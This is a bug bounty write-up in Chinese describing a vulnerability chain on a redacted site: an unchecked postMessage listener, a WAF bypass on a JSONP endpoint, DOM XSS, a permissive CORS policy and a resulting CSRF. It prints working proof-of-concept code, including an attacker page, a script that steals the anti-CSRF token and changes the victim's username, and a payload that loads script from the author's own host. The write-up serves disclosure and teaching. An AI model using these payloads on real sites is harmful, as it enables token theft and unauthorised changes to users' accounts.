漏洞链大杂烩:postMessage、JSONP、WAF绕过、DOM型XSS、CORS与CSRF

本文详细描述了一个复杂的漏洞链,涉及不安全的postMessage监听器、有缺陷的JSONP端点、WAF绕过技术、跨域DOM型XSS攻击,以及利用宽松的CORS配置实现CSRF攻击的全过程。

漏洞链大杂烩:postMessage、JSONP、WAF绕过、DOM型XSS、CORS与CSRF…

TL;DR

几个月前,在参与一个公开的漏洞赏金计划时,我发现了一个有趣的漏洞链,涉及:

  • 不安全的message事件监听器
  • 有缺陷的JSONP端点
  • WAF绕过
  • 范围外子域上的DOM型XSS
  • 宽松的CORS配置

所有这些最终实现了对范围内资产的CSRF攻击。继续阅读深入了解。

请注意,为了保护目标组织的匿名性,我已删减了一些识别信息;同时省略了一些不重要的细节,以使这个漏洞链的故事更加有趣。

寻找难以捉摸的CSRF

我的目标漏洞赏金计划的范围仅限于www.redacted.com和redacted.com的其他几个子域。那时,我已经在那里寻找漏洞的想法用尽了。不过,可利用的跨站请求伪造(CSRF)的可能性一直萦绕在我的脑海中…

我注意到一些子域,例如inscope.redacted.com,可以通过向根植于https://www.redacted.com/api的端点发出POST请求来执行敏感操作(例如更新认证用户的个人资料)。此类请求的认证依赖于环境权限,形式为名为sid且标记为SameSite=None和Secure的cookie。

不幸的是,这些端点作为对CSRF的防御,要求在名为csrftoken的查询参数中存在一个令牌(与认证用户的会话绑定)。在https://inscope.redacted.com上下文中运行的客户端代码将通过向https://www.redacted.com/profile的认证GET请求检索该反CSRF令牌,该端点相应地配置了CORS。

此外,我找不到一种直接的方法从我的受害者那里窃取该反CSRF令牌。在寻找CSRF的过程中,我似乎碰壁了。

宽松的CORS策略将我推出范围

当我在目标上的进展像这样停滞时,我通常开始探索范围外的资产,希望发现并滥用它们与某些范围内资产之间的信任关系。

在进一步测试https://www.redacted.com/profile端点后,我意识到其CORS配置不仅允许来源https://in-scope.redacted.com,还允许任何由redacted.com的任意子域组成的Web来源:

1
2
3
4
5
6
7
8
$ curl -sD - -o /dev/null \
  -H "Origin: https://whatever.redacted.com" \
  -H "Cookie: sid=xxx-yyy-zzz" \
  https://www.redacted.com/profile
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://whatever.redacted.com
Vary: Origin
-snip-

因此,如果我能发现任何redacted.com子域(即使是范围外的子域)上的跨站脚本(XSS)实例,我将能够窃取受害者的反CSRF令牌,然后对https://www.redacted.com/api端点发起CSRF攻击。

怀着这个计划,我开始仔细检查redacted.com的范围外子域。

范围外子域上的不安全message事件监听器

借助Frans Rosén出色的postMessage-tracker Chrome扩展,我很快将注意力集中在https://out-of-scope.redacted.com/search上,该页面有一个有趣的’message’事件监听器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function handleMessageEvent(e) {
  try {
    var t = e;
    if (void 0 !== e.data && (t = e.data), "string" == typeof t) {
      try {
        t = JSON.parse(t)
      } catch (e) {
        return !1
      }
    }
    if (void 0 === t.method) return !1;
    var n, r = t.method.split(".");
    if (!(r.length > 0 && "APP" === r[0])) return !1;
    n = window;
    for (var a = 0; a < r.length; a++) {
      if (void 0 === n[r[a]]) {
        throw APP.Exception("COMMUNICATION_SECURITY");
      }
      n = n[r[a]]
    }
    if ("function" != typeof n) {
      throw APP.Exception("COMMUNICATION_SECURITY");
    }
    n(t.arg)
  } catch (e) {
    APP.catchException(e)
  }
  return !1
}

该事件监听器中明显缺少来源检查,这意味着任何持有对位置为https://out-of-scope.redacted.com/search的文档引用的恶意页面(部署在Web上的任何地方)都可以向该文档发送恶意的Web消息,并且这些消息将无条件地被接受和处理。

影响如何?这完全取决于监听器的逻辑。对代码的随意静态分析表明,在其“快乐路径”上,消息事件监听器执行以下操作:

  1. 将事件的data属性解析为JSON,并将结果存储在名为t的对象中。
  2. 按句点分割method属性。
  3. 使用步骤2的结果迭代访问某个window.APP对象(在客户端其他地方声明)的嵌套属性。
  4. 调用由此获得的函数,并将对象t(参见步骤1)的名为arg的属性作为参数传递。

总之,我的恶意页面可以向https://out-of-scope.redacted.com/search发送特制的Web消息,以在Web来源https://out-of-scope.redacted.com的上下文中触发某些恶意JavaScript代码的执行。

例如,考虑以下字符串: {"method": "APP.foo.bar.baz", "arg": "qux"}

在表达式window.APP.foo.bar.baz被定义且实际上是一个函数的条件下,将上述字符串作为Web消息发送到https://out-of-scope.redacted.com/search将导致后者执行以下JavaScript代码: APP.foo.bar.baz('qux')

不幸的是,监听器的逻辑将此DOM型XSS向量限制为通过window.APP对象可访问的函数调用,并且只有一个类型为字符串的任意参数。尽管我尽力尝试,但找不到访问强大DOM功能(如eval或Function的构造函数)的方法,以将此发现升级为无限制的DOM型XSS。

面对此约束,我别无选择,只能费力地探索window.APP对象的属性,希望发现一些有用的脚本小工具。

也许当时有一个更简单的解决方案逃过了我的注意;我毫不怀疑,那些是XSS专家或仅仅浏览过Gareth Heyes最近发布的书籍《JavaScript for Hackers》的敏锐读者会向我指出一个。Gareth,我向你保证,你的书是我阅读清单上的下一本!

跨域设置cookie,但无济于事

一个名为APP.util.setCookie的函数立即脱颖而出。顾名思义,它允许调用者在out-of-scope.redacted.com域上设置任意cookie。例如,恶意跨源页面可以像这样在out-of-scope.redacted.com上设置名为foo、值为bar的cookie:

1
2
3
4
const win = window.open('https://out-of-scope.redacted.com');
// 省略:等待几秒钟让页面加载
const msg = `{"method":"APP.util.setCookie", "arg":"foo=bar"}`;
win.postMessage(msg, '*');

跨Web来源设置cookie的能力通常有助于Web攻击者在其目标上获得立足点:它可能允许他们实现会话固定,解锁否则很少可利用的基于cookie的XSS,击败某些针对CSRF的双提交cookie防御实现等。

遗憾的是,我找不到滥用APP.util.setCookie函数造成实际损害的方法。

有缺陷的JSONP端点导致DOM型XSS

然而,一个名为window.APP.apiCall的函数最终引起了我的注意:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function apiCall(t, n, r, a) {
    try {
        "/" !== t[0] && (t = "/" + t);
        var o = t.split("?"),
            i = [];
        if (o.length > 1 && (t = o[0],
                i = o[1].split("&")),
            t = "https://search.redacted.com" + t,
            "get" !== n && i.push("request_method=" + n),
            null !== r)
            for (var c in r)
                ({}).hasOwnProperty.call(r, c) &&
                  i.push(c + "=" + encodeURIComponent(r[c]));
        i.push("output=jsonp"),
            null !== e.token && i.push("access_token=" + e.token),
            i.push("version=js-v" + e._version),
            e.request._send({
                path: t,
                path_args: i,
                callback: a,
                callback_name: "callback"
            })
    } catch (t) {
        e.catchException(t)
    }
}

我将免去您了解该函数迷宫般且无关的细节。关于window.APP.apiCall只有两个观察结果重要:

  1. window.APP.apiCall设计用于向https://search.redacted.com上的JSONP端点发送请求,并将响应作为外部脚本加载(在Web来源https://out-of-scope.redacted.com的上下文中);并且
  2. window.APP.apiCall构建JSONP URL的方式并不特别安全。

对此JSONP端点的进一步动态测试显示,它受到Akamai的Web应用程序防火墙(WAF)的保护。但我偶然发现,由于服务器端一些有问题的URL解析,这个障碍可以轻松绕过。

作为一个说明性示例,考虑第一个请求及其来自Akamai的403响应:

1
2
3
4
5
GET https://search.redacted.com/?callback=alert&output=jsonp HTTP/2
-snip-
HTTP/2 403 Forbidden
Server: AkamaiGHost
-snip-

现在考虑第二个请求(注意缺少标记URL查询字符串开始的?)及其来自源服务器的200响应:

1
2
3
4
5
6
7
8
9
GET https://search.redacted.com/&callback=alert&output=jsonp HTTP/2
-snip-
HTTP/2 200
Server: Apache
Content-Length: 59
Content-Type: text/javascript; charset=utf-8
-snip-

alert({"error":{"msg":"Unknown path components: \/get"}})

此外,JSONP端点在验证其回调时非常宽松;在callback查询参数的值(完全)双重URL编码的条件下,JSONP端点会接受它:

1
2
3
4
5
6
7
GET https://search.redacted.com/&callback=alert%2528%2527xss%2527%2529%252F%252F&output=jsonp HTTP/2
-snip-
HTTP/2 200
Content-Type: text/javascript; charset=utf-8
-snip-

alert('xss')//({"error":{"msg":"Unknown path components: \/get"}})

好日子!我现在可以制作一个恶意页面,向https://out-of-scope.redacted.com/search发送Web消息,旨在诱使后者使用我选择的有效负载击中JSONP端点。结果,我可以在Web来源https://out-of-scope.redacted.com的上下文中执行任意JavaScript代码(例如alert(document.domain)):

1
2
3
4
5
6
7
8
const url = 'https://out-of-scope.redacted.com/search';
const win = window.open(url);
// 省略:等待几秒钟让页面加载
const msg = {
  'method': 'APP.apiCall',
  'arg': '&callback=alert%2528document.domain%2529%252f%252f&output=jsonp#'
};
win.postMessage(JSON.stringify(msg), '*');

现在,在Web来源https://out-of-scope.redacted.com上拥有了这种无限制的DOM型XSS(您可能还记得,该来源在https://www.redacted.com/profile资源的CORS配置中被允许),我有了一种窃取受害者反CSRF令牌的方法。

需要一次性用户交互

为了将Web消息发送到其预期目的地(https://out-of-scope.redacted.com/search),我的恶意页面首先需要获取对在该页面上打开的iframe或window的引用。不幸的是,https://out-of-scope.redacted.com/search的跨源框架是不可能的,因为我目标的所有响应都始终包含以下标头:

1
X-Frame-Options: SAMEORIGIN

但是,我可以改为设计我的恶意页面,在弹出窗口中打开https://out-of-scope.redacted.com/search,代价是少量的用户交互——绕过浏览器弹出窗口阻止程序所必需的——例如单击按钮。

将所有内容整合在一起实现一次性CSRF

我将以下静态页面部署到https://redacted.jub0bs.com/index.html:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function encode(str) {
        return encodeURIComponent(str).replace(
          /['()*]/g,
          (c) => `%${c.charCodeAt(0).toString(16).toUpperCase()}`,
        );
      }
      var win;
      function sendMsg() {
        const url = new URL("https://out-of-scope.redacted.com/search");
        if (typeof win === 'undefined') {
           win = open(url);
        }
        const delayMs = 2000;
        const payload = new URLSearchParams(window.location.search)
            .get("payload");
        setTimeout(() => {
          const doubleEncodedPayload = encode(encode(`${payload}//`));
          const msg = {
            'method': 'APP.apiCall',
            'arg': `&callback=${doubleEncodedPayload}&output=jsonp#`
          };
          win.postMessage(JSON.stringify(msg), url.origin);
        }, delayMs);
      }
    </script>
    <input type=button value="Click me!" onclick="sendMsg();">
  </body>
</html>

该页面由一个按钮组成,单击该按钮将导致我的恶意负载在https://out-of-scope.redacted.com上执行。请注意,出于测试目的,我选择通过名为payload的查询参数参数化恶意负载。

我还将以下JavaScript文件部署到https://redacted.jub0bs.com/1.js:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
async function stealToken() {
  const url = 'https://www.redacted.com/profile';
  const opts = {method: 'POST', credentials: 'include'};
  return await fetch(url, opts)
    .then(body => body.json())
    .then(data => data.csrftoken);
}
async function csrf() {
  const token = await stealToken();
  const url = `https://www.redacted.com/api/updateProfile?csrftoken=${token}`;
  const randomString = (Math.random() + 1).toString(36).substring(7);
  const data = {'username':`PWNED_${randomString}`};
  const opts = {
    method: 'POST',
    credentials: 'include',
    body: JSON.stringify(data)
  };
fetch(url, opts);
}
csrf();

然后,我可以诱使在https://www.redacted.com上认证的受害者访问以下URL:

1
https://redacted.jub0bs.com/?payload=var%20s%3Ddocument.createElement%28%27script%27%29%3Bs.src%3D%22https%3A%2F%2Fredacted.jub0bs.com%2F1.js%22%3Bdocument.head.appendChild%28s%29%3B

如果我的受害者随后单击按钮,她将在不知情的情况下将其在https://www.redacted.com上的用户名更新为类似PWNED_ysp4d的明显值。

尾声

我 promptly通过目标的漏洞赏金计划报告了我的发现,CVSS向量为AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N(7.1 High)。根据他们的奖励表,High支付略低于€1,000。尽管需要用户交互,我希望我的毅力和漏洞链的复杂性会迫使分类团队额外增加一小笔奖金。

不幸的是,最棘手的漏洞链并不总是有利可图。对于我的报告,我只得到了€200的巨额款项。尽管我多次要求 justification,该计划仍然保持沉默。您不会惊讶地得知,在他们重新评估奖励政策之前,我不打算在该计划上花费更多时间。

最终,知识本身就是回报,我想。如果有什么的话,这个漏洞链加强了我的信念,即走出范围几乎从来不是无意义的练习。

致谢

感谢renniepak和Tara Cooke,他们都 kindly同意审阅此帖子的早期草稿。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计